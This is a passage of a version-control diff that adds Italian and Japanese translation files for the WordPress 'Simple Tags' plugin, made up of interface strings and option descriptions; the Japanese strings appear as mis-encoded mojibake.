+msgstr "Tag <small>(separa i tag multipli con virgole: gatti, cibo per animali, cani)</small>"
+
+#: /2.5/inc/simple-tags.widgets.php:240
+msgid "Simple Tags : Tag Cloud Widgets"
+msgstr "Simple Tags : Tag Cloud Widgets"
+
+#: /2.5/inc/simple-tags.widgets.php:253
+msgid "Your most used tags in cloud format with dynamic color and many options"
+msgstr "I tag piu' usati nel formato tag cloud con colori dinamici e altre opzioni"
+
+#: /2.5/inc/simple-tags.widgets.php:263
+#: /2.5/inc/simple-tags.widgets.php:264
+#, php-format
+msgid "ST: Tag Cloud %d"
+msgstr "ST: Tag Cloud %d"
+
+#: /extras/simple-tags.importer.php:57
+msgid "Import Embedded Tags"
+msgstr "Importa i tag embedded"
+
+#: /extras/simple-tags.importer.php:58
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr "Queste operazioni potrebbero richiedere del tempo per essere eseguite. Attendere prego."
+
+#: /extras/simple-tags.importer.php:59
+msgid "Visit the <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "Visita la <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">homepage del plugin</a> per maggiori dettagli. Se trovi un errore o hai delle segnalazioni su questo plugin, <a href=\"mailto:amaury@wordpress-fr.net\">contattami</a> !"
+
+#: /extras/simple-tags.importer.php:68
+msgid "Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure."
+msgstr "Importa i tag incorporati i questo blog iusando la nuova truttura di tagghing di Wordpress."
+
+#: /extras/simple-tags.importer.php:69
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "Per sistemare i grossi database degli autori che utilizzano molti tag abbiamo creato questo programma in 4 semplici passaggi per aiutarti a sistemare i tag incorporati. Fai click e ti spiegheremo come fare."
+
+#: /extras/simple-tags.importer.php:70
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr "Fai il backup del tuo database prima di procedere!!"
+
+#: /extras/simple-tags.importer.php:72
+msgid "Step 1 &raquo;"
+msgstr "Passo 1 &raquo;"
+
+#: /extras/simple-tags.importer.php:95
+msgid "Missing parameters in URL. (Start or End)"
+msgstr "Nella URL mancano dei parametri. (Start or End)"
+
+#: /extras/simple-tags.importer.php:107
+msgid "Configure and add tags to posts&#8230;"
+msgstr "Configura e aggiungi tag al post&#8230;"
+
+#: /extras/simple-tags.importer.php:114
+msgid "Start marker"
+msgstr "Punto di inizio"
+
+#: /extras/simple-tags.importer.php:117
+msgid "End marker"
+msgstr "Punto di fine"
+
+#: /extras/simple-tags.importer.php:120
+msgid "Delete embedded tags once imported ?"
+msgstr "Elimina i tag incorporati una volta importati?"
+
+#: /extras/simple-tags.importer.php:122
+msgid "Import also embedded tags from page ?"
+msgstr "Importo anche i tag incorporati dalle pagine?"
+
+#: /extras/simple-tags.importer.php:125
+msgid "Start import &raquo;"
+msgstr "Inizio importazione &raquo;"
+
+#: /extras/simple-tags.importer.php:180
+msgid "Done!"
+msgstr "Finito!"
+
+#: /extras/simple-tags.importer.php:182
+msgid "Step 2 &raquo;"
+msgstr "Passo 2 &raquo;"
+
+#: /extras/simple-tags.importer.php:199
+msgid "Import Complete!"
+msgstr "Importazione completata!"
+
+#: /extras/simple-tags.importer.php:200
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr "Ok, abbiamo mentito sul fatto che fosse un progamma in 4 passaggi, abbiamo finito!"
+
+#: /extras/simple-tags.importer.php:201
+msgid "Now wasn&#8217;t that easy?"
+msgstr "Non era semplice?"
+
+#: /extras/simple-tags.importer.php:202
+msgid "You can manage tags now !"
+msgstr "Adesso puoi gestire i tag"
+
+#: /extras/simple-tags.importer.php:242
+msgid "Import Embedded Tags into the new WordPress native tagging structure."
+msgstr "Importa i tag nella nuova struttura di gestione nativa in Wordpress"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-ja.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-ja.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-ja.po	(revision 44)
@@ -0,0 +1,2102 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Simple Tags\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-03-29 12:10+0100\n"
+"PO-Revision-Date: 2008-04-05 18:45+0900\n"
+"Last-Translator: kazuhisa katoh <master@c-atwork.com>\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;_c;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: D:\\SVN\\Plugins\\ST WP.org\\trunk\n"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/simple-tags.php:42
+msgid "Simple Tags can't work with this WordPress version !"
+msgstr "Simple Tags ã¯ãã®ããŒãžã§ã³ã® Wordpress ã§ã¯å©çšã§ããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/simple-tags.php:42
+#, php-format
+msgid "You must use <a href=\"%1$s\">Simple Tagging Plugin</a> for it to work."
+msgstr "æ§ããŒãžã§ã³ã® <a href=\"%1$s\">Simple Tagging Plugin</a> ããå©çšãã ããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:87
+#: WP.org\trunk/2.3/simple-tags.client.php:556
+#: WP.org\trunk/2.5/simple-tags.client.php:86
+#: WP.org\trunk/2.5/simple-tags.client.php:557
+msgid "No related posts."
+msgstr "é¢é£ããæçš¿ã¯ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:88
+#: WP.org\trunk/2.3/simple-tags.client.php:555
+#: WP.org\trunk/2.5/simple-tags.client.php:87
+#: WP.org\trunk/2.5/simple-tags.client.php:556
+msgid "<h4>Related posts</h4>"
+msgstr "<h4>é¢é£ããæçš¿</h4>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:89
+#: WP.org\trunk/2.3/simple-tags.client.php:558
+#: WP.org\trunk/2.5/simple-tags.client.php:88
+#: WP.org\trunk/2.5/simple-tags.client.php:559
+msgid "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+msgstr "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:95
+#: WP.org\trunk/2.3/simple-tags.client.php:1223
+#: WP.org\trunk/2.5/simple-tags.client.php:94
+#: WP.org\trunk/2.5/simple-tags.client.php:1234
+msgid "No tags."
+msgstr "ã¿ã°ã¯ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:96
+#: WP.org\trunk/2.3/simple-tags.client.php:1225
+#: WP.org\trunk/2.5/simple-tags.client.php:95
+#: WP.org\trunk/2.5/simple-tags.client.php:1236
+msgid "<h4>Tag Cloud</h4>"
+msgstr "<h4>ã¿ã°ã¯ã©ãŠã</h4>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:98
+#: WP.org\trunk/2.3/simple-tags.client.php:1224
+#: WP.org\trunk/2.5/simple-tags.client.php:97
+#: WP.org\trunk/2.5/simple-tags.client.php:1235
+msgid "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:110
+#: WP.org\trunk/2.3/simple-tags.client.php:1440
+#: WP.org\trunk/2.5/simple-tags.client.php:109
+#: WP.org\trunk/2.5/simple-tags.client.php:1467
+msgid "Tags: "
+msgstr "ã¿ã°: "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:112
+#: WP.org\trunk/2.3/simple-tags.client.php:1447
+#: WP.org\trunk/2.5/simple-tags.client.php:1474
+msgid "No tag for this post."
+msgstr "ãã®æçš¿ã«ã¯ã¿ã°ã¯ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:115
+#: WP.org\trunk/2.3/simple-tags.client.php:1446
+#: WP.org\trunk/2.5/simple-tags.client.php:114
+#: WP.org\trunk/2.5/simple-tags.client.php:1473
+msgid "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:123
+#: WP.org\trunk/2.3/simple-tags.client.php:875
+#: WP.org\trunk/2.5/simple-tags.client.php:122
+#: WP.org\trunk/2.5/simple-tags.client.php:886
+msgid "<h4>Related tags</h4>"
+msgstr "<h4>é¢é£ããã¿ã°</h4>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:124
+#: WP.org\trunk/2.3/simple-tags.client.php:876
+#: WP.org\trunk/2.5/simple-tags.client.php:887
+msgid "No related tag found."
+msgstr "é¢é£ããã¿ã°ã¯èŠã€ãããŸããã§ããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:125
+#: WP.org\trunk/2.5/simple-tags.client.php:124
+msgid "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:130
+#: WP.org\trunk/2.5/simple-tags.client.php:129
+msgid "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a href=\"%tag_link_remove%\" title=\"æ€çŽ¢ãã %tag_name_attribute% ãé€å»ããŸã\">%tag_name% ãé€å»</a>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:272
+#: WP.org\trunk/2.5/simple-tags.client.php:268
+#, php-format
+msgid "Posts tagged with %s"
+msgstr "%s ã¿ã°ã®ä»ããæçš¿"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:787
+#: WP.org\trunk/2.5/simple-tags.client.php:802
+msgid "There is no excerpt because this is a protected post."
+msgstr "ãã®æçš¿ã¯ä¿è­·ãããŠããã®ã§æç²æã¯ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:877
+#: WP.org\trunk/2.5/simple-tags.client.php:888
+msgid "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"%tag_name_attribute% ã¿ã°ãæã€æçš¿ãè¡šç€ºãã\">%tag_name%</a>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:1079
+#: WP.org\trunk/2.5/simple-tags.client.php:1090
+msgid "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"æ€çŽ¢ãã %tag_name_attribute% ãé€å»\">%tag_name% ãé€å»</a>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/simple-tags.client.php:1686
+#: WP.org\trunk/2.5/simple-tags.client.php:1713
+msgid "Invalid Taxonomy"
+msgstr "ç¡å¹ãªåé¡"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:149
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:628
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:156
+msgid "Simple Tags: Manage Tags"
+msgstr "Simple Tags: ã¿ã°ã®ç®¡ç"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:149
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:156
+msgid "Manage Tags"
+msgstr "ã¿ã°ã®ç®¡ç"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:150
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:843
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:157
+msgid "Simple Tags: Mass Edit Tags"
+msgstr "Simple Tags: ã¿ã°ã®äžæ¬ç·šé"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:150
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:157
+msgid "Mass Edit Tags"
+msgstr "ã¿ã°äžæ¬ç·šé"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:151
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:209
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:158
+msgid "Simple Tags: Auto Tags"
+msgstr "Simple Tags: èªåã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:151
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:158
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:216
+msgid "Auto Tags"
+msgstr "èªåã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:152
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:522
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:159
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:515
+msgid "Simple Tags: Options"
+msgstr "Simple Tags: èš­å®"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:152
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:159
+msgid "Simple Tags"
+msgstr "Simple Tags"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:194
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:201
+msgid "Auto tags options updated !"
+msgstr "èªåã¿ã°èš­å®ãæŽæ°ããŸãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:210
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:523
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:629
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:844
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "è©³ããæ
+å ±ã¯ <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">ãã©ã°ã€ã³ã®ããŒã ããŒãž</a> ãåç
+§ããŠãã ããããã°ãèŠã€ããå ŽåããŸãããã®ãã©ã°ã€ã³ã®ããã®ãã°ãããã¢ã€ãã£ã¢ããæã¡ã®æ¹ã¯ <a href=\"mailto:amaury@wordpress-fr.net\">ç§ã«ãç¥ãããã ãã</a> !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:214
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:221
+msgid "Auto tags list"
+msgstr "èªåã¿ã°ãªã¹ã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:215
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:222
+msgid "This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word \"WordPress\" and you have \"wordpress\" in auto tags list, Simple Tags will add automatically \"wordpress\" as tag for this post."
+msgstr "ãã®æ©èœã¯ãæçš¿ä¿å­æã«æçš¿å
+ãã¿ã€ãã«ã«æå®ãããã¿ã°ãæ¢ããŸããäŸãã°ã\"WordPress\" ãšããåèªãæçš¿å
+ãã¿ã€ãã«ã«å«ãŸããŠããŠãèªåã¿ã°ãªã¹ãã« \"wordpress\" ãããã°ãSimple Tags ããã®æçš¿ã«èªåçã« \"wordpress\" ã¿ã°ãä»ããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:219
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:231
+msgid "Active Auto Tags."
+msgstr "èªåã¿ã°ãæå¹ã«ããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:222
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:238
+msgid "Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)"
+msgstr "èªåã¿ã°ã«ã­ãŒã«ã«ã®ã¿ã°ããŒã¿ããŒã¹ãäœ¿çšããã(æ³šæ: ãã®èš­å®ã¯ã¿ã°ãå€æ°ãããš CPU ã®æ¶è²»ãå¢å€§ãããããšããããŸã)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:225
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:245
+msgid "Autotag only posts without tags."
+msgstr "ã¿ã°ã®ç¡ãæçš¿ã ãã«èªåã¿ã°ãé©çšããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:227
+msgid "Keywords list: (separated with a comma)"
+msgstr "ã­ãŒã¯ãŒããªã¹ã: (ã³ã³ãã§åºåã£ãŠãã ãã)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:233
+msgid "Update list &raquo;"
+msgstr "ãªã¹ããæŽæ°ãã &raquo;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:236
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:261
+msgid "Auto tags old content"
+msgstr "ä»¥åã®ã³ã³ãã³ããžã®èªåã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:237
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:262
+msgid "Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned."
+msgstr "Simple Tags ã¯æ¢å­ã®ãã¹ãŠã®ãã­ã°ã³ã³ãã³ãã«ãã¿ã°ä»ãããããšãã§ããŸãããã®æ©èœã¯äžèšã®èªåã¿ã°ãªã¹ããäœ¿çšããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:238
+msgid "Auto tags all content"
+msgstr "ãã¹ãŠã®ã³ã³ãã³ãã«èªåã¿ã°ä»ããå®è¡ãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:259
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:283
+#: WP.org\trunk/extras/simple-tags.importer.php:174
+msgid "If your browser doesn't start loading the next page automatically click this link:"
+msgstr "ããªãã®ãã©ãŠã¶ãæ¬¡ã®ããŒãžãã­ãŒããå§ããªãå Žåãèªåçã«ãã®ãªã³ã¯ãã¯ãªãã¯ãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:259
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:283
+#: WP.org\trunk/extras/simple-tags.importer.php:174
+msgid "Next content"
+msgstr "æ¬¡ã®ã³ã³ãã³ã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:271
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:294
+msgid "All done!"
+msgstr "å®äº !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:287
+msgid "Include page in tag search:"
+msgstr "ã¿ã°æ€çŽ¢ã«ããŒãžãå«ãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:288
+msgid "This feature need that option \"Add page in tags management\" is enabled."
+msgstr "ãã®æ©èœãäœ¿çšããã«ã¯ \"ã¿ã°ç®¡çã«ããŒãžãè¿œå ãã\" èš­å®ãæå¹ã«ããå¿
+èŠããããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:289
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:312
+msgid "Allow tag cloud in post/page content:"
+msgstr "æçš¿ / ããŒãžå
+ã®ã¿ã°ã¯ã©ãŠããèš±å¯ãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:290
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:313
+msgid "Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud."
+msgstr "ãã®æ©èœãæå¹ã«ãããšãWordPress ã¯æçš¿è¡šç€ºæã«ã¿ã°ã¯ã©ãŠãããŒã«ãŒ <code>&lt;!--st_tag_cloud--&gt;</code> ãæ¢ãããã®ããŒã«ãŒãã¿ã°ã¯ã©ãŠããšçœ®ãæããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:291
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:314
+msgid "Active auto link tags into post content:"
+msgstr "æçš¿å
+ã®èªåãªã³ã¯ã¿ã°ãæå¹ã«ãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:292
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:315
+msgid "Example: You have a tag called \"WordPress\" and your post content contains \"wordpress\", this feature will replace \"wordpress\" by a link to \"wordpress\" tags page. (http://myblog.net/tag/wordpress/)"
+msgstr "äŸ: \"WordPress\" ã¿ã°ããããæçš¿å
+ã« \"wordpress\" ãå«ãŸããŠãããšãããã®æ©èœã¯ \"wordpress\" ã \"wordpress\" ã¿ã°ã®ããŒãž (http://myblog.net/tag/wordpress/) ãžã®ãªã³ã¯ã«çœ®ãæããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:293
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:316
+msgid "Min usage for auto link tags:"
+msgstr "èªåãªã³ã¯ã¿ã°ã®æå°äœ¿çšæ°:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:294
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:317
+msgid "This parameter allows to fix a minimal value of use of tags. Default: 1."
+msgstr "ãã®ãã©ã¡ãŒã¿ã¯ã¿ã°ã®æå°äœ¿çšå€ãåºå®ããŸããããã©ã«ã: 1ã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:295
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:318
+msgid "Ignore case for auto link feature ?"
+msgstr "èªåãªã³ã¯æ©èœã§å€§æå­ / å°æå­ãåºå¥ããªã ?"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:296
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:319
+msgid "Example: If you ignore case, auto link feature will replace the word \"wordpress\" by the tag link \"WordPress\"."
+msgstr "äŸ: ãã®èš­å®ãæå¹ã«ãããšãèªåãªã³ã¯æ©èœã¯åèª \"wordpress\" ãã¿ã°ãªã³ã¯ \"WordPress\" ã§çœ®ãæããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:297
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:320
+msgid "Add the rel=\"nofollow\" on each tags link ?"
+msgstr "åã¿ã°ã®ãªã³ã¯ã« rel=\"nofollow\" ãä»å ãã ?"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:298
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:321
+msgid "Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index."
+msgstr "Nofollow ã¯éæšæºã® HTML å±æ§å€ã§ããã€ããŒãªã³ã¯ãæ€çŽ¢ãšã³ãžã³ã€ã³ããã¯ã¹ã®ãªã³ã¯å
+ã®ã©ã³ã¯ã«åæ ããªãããæ€çŽ¢ãšã³ãžã³ã«æç€ºããããã«äœ¿çšãããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:301
+msgid "Add page in tags management:"
+msgstr "ã¿ã°ç®¡çã«ããŒãžãè¿œå ãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:302
+msgid "Add a tag input (and tag posts features) in page edition"
+msgstr "ããŒãžç·šéç»é¢ã«ã¿ã°å
+¥åæ¬ (ãšã¿ã°æ©èœ) ãè¿œå ããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:303
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:324
+msgid "Activate click tags feature:"
+msgstr "ã¯ãªãã¯ã¿ã°æ©èœãæå¹ã«ãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:304
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:325
+msgid "This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post."
+msgstr "ãã®æ©èœã¯ããŒã¿ããŒã¹å
+ã®ãã¹ãŠã®ã¿ã°ãè¡šç€ºããããã®ãªã³ã¯ãè¿œå ããŸãããã®æ©èœãæå¹ã«ãããšã¯ãªãã¯ããã ãã§ã¿ã°ãæçš¿ã«è¿œå ããããšãã§ããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:305
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:326
+msgid "Activate autocompletion feature:"
+msgstr "èªåè£å®æ©èœãæå¹ã«ãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:306
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:327
+msgid "This feature displays a visual help allowing to enter tags more easily."
+msgstr "ã¿ã°ãããç°¡åã«å
+¥åããããã®ãã«ããè¡šç€ºããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:307
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:328
+msgid "Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+msgstr "ããããã¿ã°æ©èœãæå¹ã«ãã: (Yahoo! Term Extraction APIãTag The Netãã­ãŒã«ã« DB)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:308
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:329
+msgid "This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)"
+msgstr "ãã®æ©èœã¯ãæçš¿å
+å®¹ãšããŸããŸãªã¿ã°ã®åŒçšå
+ (å€éšãšå
+éš) ãæ¯èŒããŠãããããã¿ã°ã®è¡šç€ºããã¯ã¹ãè¿œå ããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:311
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:332
+msgid "Automatically include in header:"
+msgstr "èªåçã«ããããŒã«å«ãã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:312
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is disabled."
+msgstr "ã¡ã¿ã­ãŒã¯ãŒãã¿ã°ãããããŒã«èªåçã«å«ããŸã (ãã¹ãŠã§ã¯ãããŸãããããããŠãã®ããŒãã§ãµããŒãããŠããŸã)ããããã®ã­ãŒã¯ãŒãã¯æ€çŽ¢ãšã³ãžã³ã«äœ¿çšãããããšããããŸãã<br /><strong>æ³šæ:</strong> \"All in One SEO Pack\" ãã©ã°ã€ã³ãã€ã³ã¹ããŒã«ãããŠæå¹åãããŠãããšããã®æ©èœã¯ç¡å¹ã«ãªããŸãã"
+
+#: D:\SVN\Plugins\ST
